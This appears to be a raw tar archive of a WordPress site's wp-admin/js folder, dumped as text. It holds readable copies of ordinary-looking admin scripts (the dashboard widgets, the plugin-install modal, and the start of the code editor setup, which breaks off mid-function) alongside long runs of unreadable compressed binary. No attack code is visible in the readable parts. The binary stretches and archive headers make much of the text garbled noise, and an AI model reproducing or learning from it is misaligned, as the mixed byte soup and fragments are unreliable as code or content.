e�-h���L:b�ŷM'J�st��ܖl��>�Sж�*�#�ؘ��PъŌ�w�9ؼ�ѝ�p��p;i.ctD���c�������]}�W�@��jE�Z�YemIL�KkI-���b+ѡ��Ȏ�Z+P��f�B'90삿�R��c
 i/��3M0̈�fp�c��L����M=*Z��� e�$�Dx�����z:�0��<��{ݝ��^�L���}�(C�ڞbN�5%@m�9Aҙ�KmdF�wx��;O���Ř���72avG��4����|p5U��!�
��5�@
�,�ѱs�d�:���Y���НE����~��o��{<�K��0qަ.\9c���Y\�j
���e=���
 ,�문��^�M�y�&ڳj^M�y�ٰ��I�+.<X�9c�hV����d��J{JF6�p)BF��o��0�)��^[F��:��6]4��e�rj��j�0���	��%�!��-��9��9Iib.ka<7��z&Iq�%�g3ަ��S4q.�֝��O�<^h?;��O|,.[@D"P�
)��u�ЄHt)7��
t|�8��I��K
(Sv��ɋ���(��@!���C�M��0�žS�F�	�
����tj���Qh�#蟊l.��ⷺ�A��E,/���LxGc�Û[��k�@\$/�~�ғN�Ie
Fܪm���p�<�W$���\�HQ��s�+6L��'o�f�c��ZyM����S���u��^�����nД�@梾DY�%$r�:�#s���Bz�b�"��b7��},yV�Ax�|'	�W	)|�U��OȒ&�,=��&�k�@��܄�4��V�4��>��$��=���l{�����R_"���
��
����i�G���P�³��^�?��cx�/�V-���\�l�p�櫶�F�U���]�r���4V����{,�u�@B����H� M�`"םʣ�N����<�\�K�Ź�{8FP��X�c��pH:=�t� 
�����8����d:ԥ�a۹Y�`Z95��BĖI��,�I��F���ѩJ�<#�Qg�
�m}�)>6
�h�lLC"����uZ�!^�O���Eu�XB�Ec�Fk
�?i�7i�6�i�a@r���wTݍ���+6v�Ħ�~bj����e���6;�QH���H������^4��w�~��Ҋc�(L���ԙm#6ꆴ�)��@g�yvx֐Ǣ'�����!���q�PFL���$O{Y�=[2B:���kEM]q��dž��d��YJ�E�q��
 ��	F]C �C�6�I4~hگ��gy��_�_�����E�a>��r)��v�cj��ȶΗ�vz>�����}]z���p�˯���W_����W�C�#�'�tt"��`Q黣��1m���z�3\��z�➫��I��%�8�xl�2�7�M�㟵&���$�!X������4/�5b3|�">LC7}�?�u�ċ�Qf'�����2Է�r҅�N��ϡ�n�-}�,��i���~���&{�����F�=&	��-3�����N�fzT�6��T���&V��TW\Hw�K�,�X�B��׶]��vyP�!$J���=�ߥ�*�=�$��5�������C5F�˛�
��B�V���ok��pYU���X��V-����'���q*T�6��E�L)��
_�l��
� �o�,�"�<�T'Mo[��(��-JL7:�2�V��*SG҈&~�Q<|᯹���`���U!Mq)#=�q\s��x�nG��r�n��n������Ru�k��3q�b��my�]�7)b�I�imk�SlŬ�1��~��_z�:r��h̽���j�T�ۇh2�4�wj�Դ��lYPr5�+*�K�v�3D3��~Zo��K���?��v�26���'�-�&bʲ��#�M/��=�|Py�h�R�]�A��Kt�0����tX�a���V�5�1&��5)鏩#m�c�F������eK'<�����1;��Pi�h����*���[j�~�*Wި���N+ڨ=��<�BP���n;S�x�����JJ�M�n���[��a}Tp��/0MWC�¿
�^*�)��4�@d*���b�~�G=�1/
�*�#���C9e+��+{�LN��n����i�8�VHq��0փ*3H� țt��_UIFo�N���v]�ƿ1޺ik�	%	����һ(�#����'�cĀ.������tS���KB���R�?~��䶌>��w6O�U���zp-ɔz�m�ʥ�a�Z	32�[O!e�qT9}c�0��Uv�0T 5o�)�zI��拟P\�� �&ּ�0^'��N�<����­�p�*�ӉV�Y�:i�"1�aHmҶ��s�
�
8���ɻ�ZR�KR�drF�>�!S���0e��a	�$�7�֊��C`g��}�OF�3~�k�f�w���V()��g%���h4���B;}9��i�	��_~�މ�5X'���Ah��#�QA!4'9��L��QA1��\p��?�o�Gg5�a�F'�x-e�_��ʶ�I"��!o�:�8q$��
m]�=׼�w��w��I��4!�7�Uy��� r]�#�k�����<��s�G	�**}&R�>DHۜ�|�̖5��ָ��OZ���y
�R}��֚��#�W���Y�=7a�
�$e�Ls���{e���Yʳ*ڈ�Ыb��ѯ%�B�X�?�a��۬*�(��=Qh�=T�9.�fX��5j��N�/r����B?����;��U��k�v��LWW4�� }��ƭ�Tyo�%:J'��\Q�z���1d�K�3#y{4zZ3փ�W0�g����I3��P%8�L�xs���u96��b,��U�2�M"�����῭O�SQ�̃8��RA�]��o�ټ���S�Y+�� ��<��KA&Y`�v"r�s����3��k/K^8,�w'?蚯Sp�&�Ό�
|�&�Z���x�����pl_��bI�a��V��|\)�ն��#�rh��K��������T��#�-���O)�o�;>N��F_y<z�aj��#���`U�{�UӰ��N�m�L��
���9�@��pn�s�؞◑x����ռ!/*j{�$��x�[����^Q�y����j`FS���p�2P��<`���}�	&�{�h�Mp���ㅐr��i]�{콠/�\��}@�ĭ%c��hl��˜F���گ̽��
L��:N�*��T��"�*l5��m+׏4KStݽa'���(�K��s'���.���q����3\��[_��G`+~�;KC)����[�nt��X,
������RX��[1]��Jo4�χ�/ux�W:�7ž(4΃���~���U�o����߼�������?>_}�?1YY�Rdashboard.min.js.tar000064400000025000150276633110010401 0ustar00home/natitnen/crestassured.com/wp-admin/js/dashboard.min.js000064400000021135150261613650020006 0ustar00/*! This file is auto-generated */
window.wp=window.wp||{},window.communityEventsData=window.communityEventsData||{},jQuery(function(s){var t,n=s("#welcome-panel"),e=s("#wp_welcome_panel-hide");t=function(e){s.post(ajaxurl,{action:"update-welcome-panel",visible:e,welcomepanelnonce:s("#welcomepanelnonce").val()})},n.hasClass("hidden")&&e.prop("checked")&&n.removeClass("hidden"),s(".welcome-panel-close, .welcome-panel-dismiss a",n).on("click",function(e){e.preventDefault(),n.addClass("hidden"),t(0),s("#wp_welcome_panel-hide").prop("checked",!1)}),e.on("click",function(){n.toggleClass("hidden",!this.checked),t(this.checked?1:0)}),window.ajaxWidgets=["dashboard_primary"],window.ajaxPopulateWidgets=function(e){function t(e,t){var n,o=s("#"+t+" div.inside:visible").find(".widget-loading");o.length&&(n=o.parent(),setTimeout(function(){n.load(ajaxurl+"?action=dashboard-widgets&widget="+t+"&pagenow="+pagenow,"",function(){n.hide().slideDown("normal",function(){s(this).css("display","")})})},500*e))}e?(e=e.toString(),-1!==s.inArray(e,ajaxWidgets)&&t(0,e)):s.each(ajaxWidgets,t)},ajaxPopulateWidgets(),postboxes.add_postbox_toggles(pagenow,{pbshow:ajaxPopulateWidgets}),window.quickPressLoad=function(){var t,n,o,i,a,e=s("#quickpost-action");s('#quick-press .submit input[type="submit"], #quick-press .submit input[type="reset"]').prop("disabled",!1),t=s("#quick-press").on("submit",function(e){e.preventDefault(),s("#dashboard_quick_press #publishing-action .spinner").show(),s('#quick-press .submit input[type="submit"], #quick-press .submit input[type="reset"]').prop("disabled",!0),s.post(t.attr("action"),t.serializeArray(),function(e){var t;s("#dashboard_quick_press .inside").html(e),s("#quick-press").removeClass("initial-form"),quickPressLoad(),(t=s(".drafts ul li").first()).css("background","#fffbe5"),setTimeout(function(){t.css("background","none")},1e3),s("#title").trigger("focus")})}),s("#publish").on("click",function(){e.val("post-quickpress-publish")}),s("#quick-press").on("click focusin",function(){wpActiveEditor="content"}),document.documentMode&&document.documentMode<9||(s("body").append('<div class="quick-draft-textarea-clone" style="display: none;"></div>'),n=s(".quick-draft-textarea-clone"),o=s("#content"),i=o.height(),a=s(window).height()-100,n.css({"font-family":o.css("font-family"),"font-size":o.css("font-size"),"line-height":o.css("line-height"),"padding-bottom":o.css("paddingBottom"),"padding-left":o.css("paddingLeft"),"padding-right":o.css("paddingRight"),"padding-top":o.css("paddingTop"),"white-space":"pre-wrap","word-wrap":"break-word",display:"none"}),o.on("focus input propertychange",function(){var e=s(this),t=e.val()+"&nbsp;",t=n.css("width",e.css("width")).text(t).outerHeight()+2;o.css("overflow-y","auto"),t===i||a<=t&&a<=i||(i=a<t?a:t,o.css("overflow","hidden"),e.css("height",i+"px"))}))},window.quickPressLoad(),s(".meta-box-sortables").sortable("option","containment","#wpwrap")}),jQuery(function(c){"use strict";var r=window.communityEventsData,s=wp.date.dateI18n,m=wp.date.format,d=wp.i18n.sprintf,l=wp.i18n.__,u=wp.i18n._x,p=window.wp.communityEvents={initialized:!1,model:null,init:function(){var e;p.initialized||(e=c("#community-events"),c(".community-events-errors").attr("aria-hidden","true").removeClass("hide-if-js"),e.on("click",".community-events-toggle-location, .community-events-cancel",p.toggleLocationForm),e.on("submit",".community-events-form",function(e){var t=c("#community-events-location").val().trim();e.preventDefault(),t&&p.getEvents({location:t})}),r&&r.cache&&r.cache.location&&r.cache.events?p.renderEventsTemplate(r.cache,"app"):p.getEvents(),p.initialized=!0)},toggleLocationForm:function(e){var t=c(".community-events-toggle-location"),n=c(".community-events-cancel"),o=c(".community-events-form"),i=c();"object"==typeof e&&(i=c(e.target),e="true"==t.attr("aria-expanded")?"hide":"show"),"hide"===e?(t.attr("aria-expanded","false"),n.attr("aria-expanded","false"),o.attr("aria-hidden","true"),i.hasClass("community-events-cancel")&&t.trigger("focus")):(t.attr("aria-expanded","true"),n.attr("aria-expanded","true"),o.attr("aria-hidden","false"))},getEvents:function(t){var n,o=this,e=c(".community-events-form").children(".spinner");(t=t||{})._wpnonce=r.nonce,t.timezone=window.Intl?window.Intl.DateTimeFormat().resolvedOptions().timeZone:"",n=t.location?"user":"app",e.addClass("is-active"),wp.ajax.post("get-community-events",t).always(function(){e.removeClass("is-active")}).done(function(e){"no_location_available"===e.error&&(t.location?e.unknownCity=t.location:delete e.error),o.renderEventsTemplate(e,n)}).fail(function(){o.renderEventsTemplate({location:!1,events:[],error:!0},n)})},renderEventsTemplate:function(e,t){var n,o,i=c(".community-events-toggle-location"),a=c("#community-events-location-message"),s=c(".community-events-results");e.events=p.populateDynamicEventFields(e.events,r.time_format),o={".community-events":!0,".community-events-loading":!1,".community-events-errors":!1,".community-events-error-occurred":!1,".community-events-could-not-locate":!1,"#community-events-location-message":!1,".community-events-toggle-location":!1,".community-events-results":!1},e.location.ip?(a.text(l("Attend an upcoming event near you.")),n=e.events.length?wp.template("community-events-event-list"):wp.template("community-events-no-upcoming-events"),s.html(n(e)),o["#community-events-location-message"]=!0,o[".community-events-toggle-location"]=!0,o[".community-events-results"]=!0):e.location.description?(n=wp.template("community-events-attend-event-near"),a.html(n(e)),n=e.events.length?wp.template("community-events-event-list"):wp.template("community-events-no-upcoming-events"),s.html(n(e)),"user"===t&&wp.a11y.speak(d(l("City updated. Listing events near %s."),e.location.description),"assertive"),o["#community-events-location-message"]=!0,o[".community-events-toggle-location"]=!0,o[".community-events-results"]=!0):e.unknownCity?(n=wp.template("community-events-could-not-locate"),c(".community-events-could-not-locate").html(n(e)),wp.a11y.speak(d(l("We couldn\u2019t locate %s. Please try another nearby city. For example: Kansas City; Springfield; Portland."),e.unknownCity)),o[".community-events-errors"]=!0,o[".community-events-could-not-locate"]=!0):e.error&&"user"===t?(wp.a11y.speak(l("An error occurred. Please try again.")),o[".community-events-errors"]=!0,o[".community-events-error-occurred"]=!0):(a.text(l("Enter your closest city to find nearby events.")),o["#community-events-location-message"]=!0,o[".community-events-toggle-location"]=!0),_.each(o,function(e,t){c(t).attr("aria-hidden",!e)}),i.attr("aria-expanded",o[".community-events-toggle-location"]),e.location&&(e.location.ip||e.location.latitude)?(p.toggleLocationForm("hide"),"user"===t&&i.trigger("focus")):p.toggleLocationForm("show")},populateDynamicEventFields:function(e,o){e=JSON.parse(JSON.stringify(e));return c.each(e,function(e,t){var n=p.getTimeZone(1e3*t.start_unix_timestamp);t.user_formatted_date=p.getFormattedDate(1e3*t.start_unix_timestamp,1e3*t.end_unix_timestamp,n),t.user_formatted_time=s(o,1e3*t.start_unix_timestamp,n),t.timeZoneAbbreviation=p.getTimeZoneAbbreviation(1e3*t.start_unix_timestamp)}),e},getTimeZone:function(e){var t=Intl.DateTimeFormat().resolvedOptions().timeZone;return t=void 0===t?p.getFlippedTimeZoneOffset(e):t},getFlippedTimeZoneOffset:function(e){return-1*new Date(e).getTimezoneOffset()},getTimeZoneAbbreviation:function(e){var t,n=new Date(e).toLocaleTimeString(void 0,{timeZoneName:"short"}).split(" ");return void 0===(t=3===n.length?n[2]:t)&&(n=p.getFlippedTimeZoneOffset(e),e=-1===Math.sign(n)?"":"+",t=u("GMT","Events widget offset prefix")+e+n/60),t},getFormattedDate:function(e,t,n){var o=l("l, M j, Y"),i=l("%1$s %2$d\u2013%3$d, %4$d"),a=l("%1$s %2$d \u2013 %3$s %4$d, %5$d"),i=t&&m("Y-m-d",e)!==m("Y-m-d",t)?m("Y-m",e)===m("Y-m",t)?d(i,s(u("F","upcoming events month format"),e,n),s(u("j","upcoming events day format"),e,n),s(u("j","upcoming events day format"),t,n),s(u("Y","upcoming events year format"),t,n)):d(a,s(u("F","upcoming events month format"),e,n),s(u("j","upcoming events day format"),e,n),s(u("F","upcoming events month format"),t,n),s(u("j","upcoming events day format"),t,n),s(u("Y","upcoming events year format"),t,n)):s(o,e,n);return i}};c("#dashboard_primary").is(":visible")?p.init():c(document).on("postbox-toggled",function(e,t){t=c(t);"dashboard_primary"===t.attr("id")&&t.is(":visible")&&p.init()})}),window.communityEventsData.l10n=window.communityEventsData.l10n||{enter_closest_city:"",error_occurred_please_try_again:"",attend_event_near_generic:"",could_not_locate_city:"",city_updated:""},window.communityEventsData.l10n=window.wp.deprecateL10nObject("communityEventsData.l10n",window.communityEventsData.l10n,"5.6.0");plugin-install.js000064400000015656150276633110010065 0ustar00/**
 * @file Functionality for the plugin install screens.
 *
 * @output wp-admin/js/plugin-install.js
 */

/* global tb_click, tb_remove, tb_position */

jQuery( function( $ ) {

	var tbWindow,
		$iframeBody,
		$tabbables,
		$firstTabbable,
		$lastTabbable,
		$focusedBefore = $(),
		$uploadViewToggle = $( '.upload-view-toggle' ),
		$wrap = $ ( '.wrap' ),
		$body = $( document.body );

	window.tb_position = function() {
		var width = $( window ).width(),
			H = $( window ).height() - ( ( 792 < width ) ? 60 : 20 ),
			W = ( 792 < width ) ? 772 : width - 20;

		tbWindow = $( '#TB_window' );

		if ( tbWindow.length ) {
			tbWindow.width( W ).height( H );
			$( '#TB_iframeContent' ).width( W ).height( H );
			tbWindow.css({
				'margin-left': '-' + parseInt( ( W / 2 ), 10 ) + 'px'
			});
			if ( typeof document.body.style.maxWidth !== 'undefined' ) {
				tbWindow.css({
					'top': '30px',
					'margin-top': '0'
				});
			}
		}

		return $( 'a.thickbox' ).each( function() {
			var href = $( this ).attr( 'href' );
			if ( ! href ) {
				return;
			}
			href = href.replace( /&width=[0-9]+/g, '' );
			href = href.replace( /&height=[0-9]+/g, '' );
			$(this).attr( 'href', href + '&width=' + W + '&height=' + ( H ) );
		});
	};

	$( window ).on( 'resize', function() {
		tb_position();
	});

	/*
	 * Custom events: when a Thickbox iframe has loaded and when the Thickbox
	 * modal gets removed from the DOM.
	 */
	$body
		.on( 'thickbox:iframe:loaded', tbWindow, function() {
			/*
			 * Return if it's not the modal with the plugin details iframe. Other
			 * thickbox instances might want to load an iframe with content from
			 * an external domain. Avoid to access the iframe contents when we're
			 * not sure the iframe loads from the same domain.
			 */
			if ( ! tbWindow.hasClass( 'plugin-details-modal' ) ) {
				return;
			}

			iframeLoaded();
		})
		.on( 'thickbox:removed', function() {
			// Set focus back to the element that opened the modal dialog.
			// Note: IE 8 would need this wrapped in a fake setTimeout `0`.
			$focusedBefore.trigger( 'focus' );
		});

	function iframeLoaded() {
		var $iframe = tbWindow.find( '#TB_iframeContent' );

		// Get the iframe body.
		$iframeBody = $iframe.contents().find( 'body' );

		// Get the tabbable elements and handle the keydown event on first load.
		handleTabbables();

		// Set initial focus on the "Close" button.
		$firstTabbable.trigger( 'focus' );

		/*
		 * When the "Install" button is disabled (e.g. the Plugin is already installed)
		 * then we can't predict where the last focusable element is. We need to get
		 * the tabbable elements and handle the keydown event again and again,
		 * each time the active tab panel changes.
		 */
		$( '#plugin-information-tabs a', $iframeBody ).on( 'click', function() {
			handleTabbables();
		});

		// Close the modal when pressing Escape.
		$iframeBody.on( 'keydown', function( event ) {
			if ( 27 !== event.which ) {
				return;
			}
			tb_remove();
		});
	}

	/*
	 * Get the tabbable elements and detach/attach the keydown event.
	 * Called after the iframe has fully loaded so we have all the elements we need.
	 * Called again each time a Tab gets clicked.
	 * @todo Consider to implement a WordPress general utility for this and don't use jQuery UI.
	 */
	function handleTabbables() {
		var $firstAndLast;
		// Get all the tabbable elements.
		$tabbables = $( ':tabbable', $iframeBody );
		// Our first tabbable element is always the "Close" button.
		$firstTabbable = tbWindow.find( '#TB_closeWindowButton' );
		// Get the last tabbable element.
		$lastTabbable = $tabbables.last();
		// Make a jQuery collection.
		$firstAndLast = $firstTabbable.add( $lastTabbable );
		// Detach any previously attached keydown event.
		$firstAndLast.off( 'keydown.wp-plugin-details' );
		// Attach again the keydown event on the first and last focusable elements.
		$firstAndLast.on( 'keydown.wp-plugin-details', function( event ) {
			constrainTabbing( event );
		});
	}

	// Constrain tabbing within the plugin modal dialog.
	function constrainTabbing( event ) {
		if ( 9 !== event.which ) {
			return;
		}

		if ( $lastTabbable[0] === event.target && ! event.shiftKey ) {
			event.preventDefault();
			$firstTabbable.trigger( 'focus' );
		} else if ( $firstTabbable[0] === event.target && event.shiftKey ) {
			event.preventDefault();
			$lastTabbable.trigger( 'focus' );
		}
	}

	/*
	 * Open the Plugin details modal. The event is delegated to get also the links
	 * in the plugins search tab, after the Ajax search rebuilds the HTML. It's
	 * delegated on the closest ancestor and not on the body to avoid conflicts
	 * with other handlers, see Trac ticket #43082.
	 */
	$( '.wrap' ).on( 'click', '.thickbox.open-plugin-details-modal', function( e ) {
		// The `data-title` attribute is used only in the Plugin screens.
		var title = $( this ).data( 'title' ) ?
			wp.i18n.sprintf(
				// translators: %s: Plugin name.
				wp.i18n.__( 'Plugin: %s' ),
				$( this ).data( 'title' )
			) :
			wp.i18n.__( 'Plugin details' );

		e.preventDefault();
		e.stopPropagation();

		// Store the element that has focus before opening the modal dialog, i.e. the control which opens it.
		$focusedBefore = $( this );

		tb_click.call(this);

		// Set ARIA role, ARIA label, and add a CSS class.
		tbWindow
			.attr({
				'role': 'dialog',
				'aria-label': wp.i18n.__( 'Plugin details' )
			})
			.addClass( 'plugin-details-modal' );

		// Set title attribute on the iframe.
		tbWindow.find( '#TB_iframeContent' ).attr( 'title', title );
	});

	/* Plugin install related JS */
	$( '#plugin-information-tabs a' ).on( 'click', function( event ) {
		var tab = $( this ).attr( 'name' );
		event.preventDefault();

		// Flip the tab.
		$( '#plugin-information-tabs a.current' ).removeClass( 'current' );
		$( this ).addClass( 'current' );

		// Only show the fyi box in the description section, on smaller screen,
		// where it's otherwise always displayed at the top.
		if ( 'description' !== tab && $( window ).width() < 772 ) {
			$( '#plugin-information-content' ).find( '.fyi' ).hide();
		} else {
			$( '#plugin-information-content' ).find( '.fyi' ).show();
		}

		// Flip the content.
		$( '#section-holder div.section' ).hide(); // Hide 'em all.
		$( '#section-' + tab ).show();
	});

	/*
	 * When a user presses the "Upload Plugin" button, show the upload form in place
	 * rather than sending them to the devoted upload plugin page.
	 * The `?tab=upload` page still exists for no-js support and for plugins that
	 * might access it directly. When we're in this page, let the link behave
	 * like a link. Otherwise we're in the normal plugin installer pages and the
	 * link should behave like a toggle button.
	 */
	if ( ! $wrap.hasClass( 'plugin-install-tab-upload' ) ) {
		$uploadViewToggle
			.attr({
				role: 'button',
				'aria-expanded': 'false'
			})
			.on( 'click', function( event ) {
				event.preventDefault();
				$body.toggleClass( 'show-upload-view' );
				$uploadViewToggle.attr( 'aria-expanded', $body.hasClass( 'show-upload-view' ) );
			});
	}
});
media-upload.js.js.tar.gz000064400000002760150276633110011273 0ustar00��W[o�6�+N���SG�sk���Ҡ@��e�CQ�D[LeR�8���CJ��(��
X٢���;w&SKf��\�IɵaZW%O�DM�iq�҉��'<�*r���^?����sz|��n�N��'����i�wz���ӣc�}���*t�D�������۰J&��q��,�Q%#F��q���>L�Ʉ$z���3��z��P��{�2�5��d"��F=�I�������t�2Р��R�4Eт*S^ZuF������4�$�_���`��K��&��\+`i��5�"�Ns���y�X������*K�g�����k����y$rN?h!��IԣoU��2𕆩U��s%)�_Wiq��ס7B�&	��
�.j<'$o	H��q�I����#mr��.�)�Ib%�p�Km��A�.�6>��B$���"q�kS
9^@f&9��[B�Cn��p2묩J	�%�?�J���'*�5�i�%��jd�]r��Dx6z��J�dL�l��Ȗ�Ƃe���eT�L�T�+�v���B�jٺ�3��]�����E��v끕^��n�2�o\J���
�Fu�ao0���)	���_W��z��`l���ۭ8����^���c�`�`S��&j��B�ۨ)��ݭ�}����m�V�]Lg���l�ؠ��H-���l�{oȗ�
I�ׄV;�-`cn�-�QӢ��2�>rT�X)��4�K�X�8���$d=4pzںQ���q�z1�{��Ԇ�5��Ʌ�L�xB�"�N}�u1�R;ۊ�f�s�-�l;���n��ѵC�B�*/�@�-Kc��j�ne���#P�/�qJp`/�O�͙�j�*�&)�m��ofW�v���W��V�Un�"�!n��OZiV��$NX����/o��^�ݶ�|�2�5�$Ò������ᰙ!OI��-�P�9L��֨
+�\��*�t�V�}0dv�+�4�����,����?����o��	���'�����%�Q��7�_d���=l�,���yE�v��w�&hq��^��ʤua�C�o�_x?ܼ�s�A���O�;��9r'"J�n/�n2.ƙ�W�x�ˣ#�	�����Wh�Yy�dQ�g'�+�gZ�,A'ʹ���nYܱ���M�Lj�A�G�G��q�0Ґ��pp�µ�p����g�o����}<�C��Um/���AcݙV��<��� 8�J���p�od
��`�T:�݆l&�P��H�>&��ҷ�8�c�7U �����Y�B�ڱ=�2Am�շu�zE��]E�M��IӃ_�MC$9��"�甮��k�z3b�XTO/Lgv�l�5=�m�#��D̘+��J@�[�z����E���ȓ������c�W��ۅ`�px��[���j⥯�Z����rg��n�u�L�c2�En7�BG72�=Y�j��$�g��e#�,-Lj}�®�&��g;���^tB7:���E�~����Z�dcode-editor.js.tar000064400000032000150276633110010064 0ustar00home/natitnen/crestassured.com/wp-admin/js/code-editor.js000064400000026504150263565010017476 0ustar00/**
 * @output wp-admin/js/code-editor.js
 */

if ( 'undefined' === typeof window.wp ) {
	/**
	 * @namespace wp
	 */
	window.wp = {};
}
if ( 'undefined' === typeof window.wp.codeEditor ) {
	/**
	 * @namespace wp.codeEditor
	 */
	window.wp.codeEditor = {};
}

( function( $, wp ) {
	'use strict';

	/**
	 * Default settings for code editor.
	 *
	 * @since 4.9.0
	 * @type {object}
	 */
	wp.codeEditor.defaultSettings = {
		codemirror: {},
		csslint: {},
		htmlhint: {},
		jshint: {},
		onTabNext: function() {},
		onTabPrevious: function() {},
		onChangeLintingErrors: function() {},
		onUpdateErrorNotice: function() {}
	};

	/**
	 * Configure linting.
	 *
	 * @param {CodeMirror} editor - Editor.
	 * @param {Object}     settings - Code editor settings.
	 * @param {Object}     settings.codeMirror - Settings for CodeMirror.
	 * @param {Function}   settings.onChangeLintingErrors - Callback for when there are changes to linting errors.
	 * @param {Function}   settings.onUpdateErrorNotice - Callback to update error notice.
	 *
	 * @return {void}
	 */
	function configureLinting( editor, settings ) { // eslint-disable-line complexity
		var currentErrorAnnotations = [], previouslyShownErrorAnnotations = [];

		/**
		 * Call the onUpdateErrorNotice if there are new errors to show.
		 *
		 * @return {void}
		 */
		function updateErrorNotice() {
			if ( settings.onUpdateErrorNotice && ! _.isEqual( currentErrorAnnotations, previouslyShownErrorAnnotations ) ) {
				settings.onUpdateErrorNotice( currentErrorAnnotations, editor );
				previouslyShownErrorAnnotations = currentErrorAnnotations;
			}
		}

		/**
		 * Get lint options.
		 *
		 * @return {Object} Lint options.
		 */
		function getLintOptions() { // eslint-disable-line complexity
			var options = editor.getOption( 'lint' );

			if ( ! options ) {
				return false;
			}

			if ( true === options ) {
				options = {};
			} else if ( _.isObject( options ) ) {
				options = $.extend( {}, options );
			}

			/*
			 * Note that rules must be sent in the "deprecated" lint.options property 
			 * to prevent linter from complaining about unrecognized options.
			 * See <https://github.com/codemirror/CodeMirror/pull/4944>.
			 */
			if ( ! options.options ) {
				options.options = {};
			}

			// Configure JSHint.
			if ( 'javascript' === settings.codemirror.mode && settings.jshint ) {
				$.extend( options.options, settings.jshint );
			}

			// Configure CSSLint.
			if ( 'css' === settings.codemirror.mode && settings.csslint ) {
				$.extend( options.options, settings.csslint );
			}

			// Configure HTMLHint.
			if ( 'htmlmixed' === settings.codemirror.mode && settings.htmlhint ) {
				options.options.rules = $.extend( {}, settings.htmlhint );

				if ( settings.jshint ) {
					options.options.rules.jshint = settings.jshint;
				}
				if ( settings.csslint ) {
					options.options.rules.csslint = settings.csslint;
				}
			}

			// Wrap the onUpdateLinting CodeMirror event to route to onChangeLintingErrors and onUpdateErrorNotice.
			options.onUpdateLinting = (function( onUpdateLintingOverridden ) {
				return function( annotations, annotationsSorted, cm ) {
					var errorAnnotations = _.filter( annotations, function( annotation ) {
						return 'error' === annotation.severity;
					} );

					if ( onUpdateLintingOverridden ) {
						onUpdateLintingOverridden.apply( annotations, annotationsSorted, cm );
					}

					// Skip if there are no changes to the errors.
					if ( _.isEqual( errorAnnotations, currentErrorAnnotations ) ) {
						return;
					}

					currentErrorAnnotations = errorAnnotations;

					if ( settings.onChangeLintingErrors ) {
						settings.onChangeLintingErrors( errorAnnotations, annotations, annotationsSorted, cm );
					}

					/*
					 * Update notifications when the editor is not focused to prevent error message
					 * from overwhelming the user during input, unless there are now no errors or there
					 * were previously errors shown. In these cases, update immediately so they can know
					 * that they fixed the errors.
					 */
					if ( ! editor.state.focused || 0 === currentErrorAnnotations.length || previouslyShownErrorAnnotations.length > 0 ) {
						updateErrorNotice();
					}
				};
			})( options.onUpdateLinting );

			return options;
		}

		editor.setOption( 'lint', getLintOptions() );

		// Keep lint options populated.
		editor.on( 'optionChange', function( cm, option ) {
			var options, gutters, gutterName = 'CodeMirror-lint-markers';
			if ( 'lint' !== option ) {
				return;
			}
			gutters = editor.getOption( 'gutters' ) || [];
			options = editor.getOption( 'lint' );
			if ( true === options ) {
				if ( ! _.contains( gutters, gutterName ) ) {
					editor.setOption( 'gutters', [ gutterName ].concat( gutters ) );
				}
				editor.setOption( 'lint', getLintOptions() ); // Expand to include linting options.
			} else if ( ! options ) {
				editor.setOption( 'gutters', _.without( gutters, gutterName ) );
			}

			// Force update on error notice to show or hide.
			if ( editor.getOption( 'lint' ) ) {
				editor.performLint();
			} else {
				currentErrorAnnotations = [];
				updateErrorNotice();
			}
		} );

		// Update error notice when leaving the editor.
		editor.on( 'blur', updateErrorNotice );

		// Work around hint selection with mouse causing focus to leave editor.
		editor.on( 'startCompletion', function() {
			editor.off( 'blur', updateErrorNotice );
		} );
		editor.on( 'endCompletion', function() {
			var editorRefocusWait = 500;
			editor.on( 'blur', updateErrorNotice );

			// Wait for editor to possibly get re-focused after selection.
			_.delay( function() {
				if ( ! editor.state.focused ) {
					updateErrorNotice();
				}
			}, editorRefocusWait );
		});

		/*
		 * Make sure setting validities are set if the user tries to click Publish
		 * while an autocomplete dropdown is still open. The Customizer will block
		 * saving when a setting has an error notifications on it. This is only
		 * necessary for mouse interactions because keyboards will have already
		 * blurred the field and cause onUpdateErrorNotice to have already been
		 * called.
		 */
		$( document.body ).on( 'mousedown', function( event ) {
			if ( editor.state.focused && ! $.contains( editor.display.wrapper, event.target ) && ! $( event.target ).hasClass( 'CodeMirror-hint' ) ) {
				updateErrorNotice();
			}
		});
	}

	/**
	 * Configure tabbing.
	 *
	 * @param {CodeMirror} codemirror - Editor.
	 * @param {Object}     settings - Code editor settings.
	 * @param {Object}     settings.codeMirror - Settings for CodeMirror.
	 * @param {Function}   settings.onTabNext - Callback to handle tabbing to the next tabbable element.
	 * @param {Function}   settings.onTabPrevious - Callback to handle tabbing to the previous tabbable element.
	 *
	 * @return {void}
	 */
	function configureTabbing( codemirror, settings ) {
		var $textarea = $( codemirror.getTextArea() );

		codemirror.on( 'blur', function() {
			$textarea.data( 'next-tab-blurs', false );
		});
		codemirror.on( 'keydown', function onKeydown( editor, event ) {
			var tabKeyCode = 9, escKeyCode = 27;

			// Take note of the ESC keypress so that the next TAB can focus outside the editor.
			if ( escKeyCode === event.keyCode ) {
				$textarea.data( 'next-tab-blurs', true );
				return;
			}

			// Short-circuit if tab key is not being pressed or the tab key press should move focus.
			if ( tabKeyCode !== event.keyCode || ! $textarea.data( 'next-tab-blurs' ) ) {
				return;
			}

			// Focus on previous or next focusable item.
			if ( event.shiftKey ) {
				settings.onTabPrevious( codemirror, event );
			} else {
				settings.onTabNext( codemirror, event );
			}

			// Reset tab state.
			$textarea.data( 'next-tab-blurs', false );

			// Prevent tab character from being added.
			event.preventDefault();
		});
	}

	/**
	 * @typedef {object} wp.codeEditor~CodeEditorInstance
	 * @property {object} settings - The code editor settings.
	 * @property {CodeMirror} codemirror - The CodeMirror instance.
	 */

	/**
	 * Initialize Code Editor (CodeMirror) for an existing textarea.
	 *
	 * @since 4.9.0
	 *
	 * @param {string|jQuery|Element} textarea - The HTML id, jQuery object, or DOM Element for the textarea that is used for the editor.
	 * @param {Object}                [settings] - Settings to override defaults.
	 * @param {Function}              [settings.onChangeLintingErrors] - Callback for when the linting errors have changed.
	 * @param {Function}              [settings.onUpdateErrorNotice] - Callback for when error notice should be displayed.
	 * @param {Function}              [settings.onTabPrevious] - Callback to handle tabbing to the previous tabbable element.
	 * @param {Function}              [settings.onTabNext] - Callback to handle tabbing to the next tabbable element.
	 * @param {Object}                [settings.codemirror] - Options for CodeMirror.
	 * @param {Object}                [settings.csslint] - Rules for CSSLint.
	 * @param {Object}                [settings.htmlhint] - Rules for HTMLHint.
	 * @param {Object}                [settings.jshint] - Rules for JSHint.
	 *
	 * @return {CodeEditorInstance} Instance.
	 */
	wp.codeEditor.initialize = function initialize( textarea, settings ) {
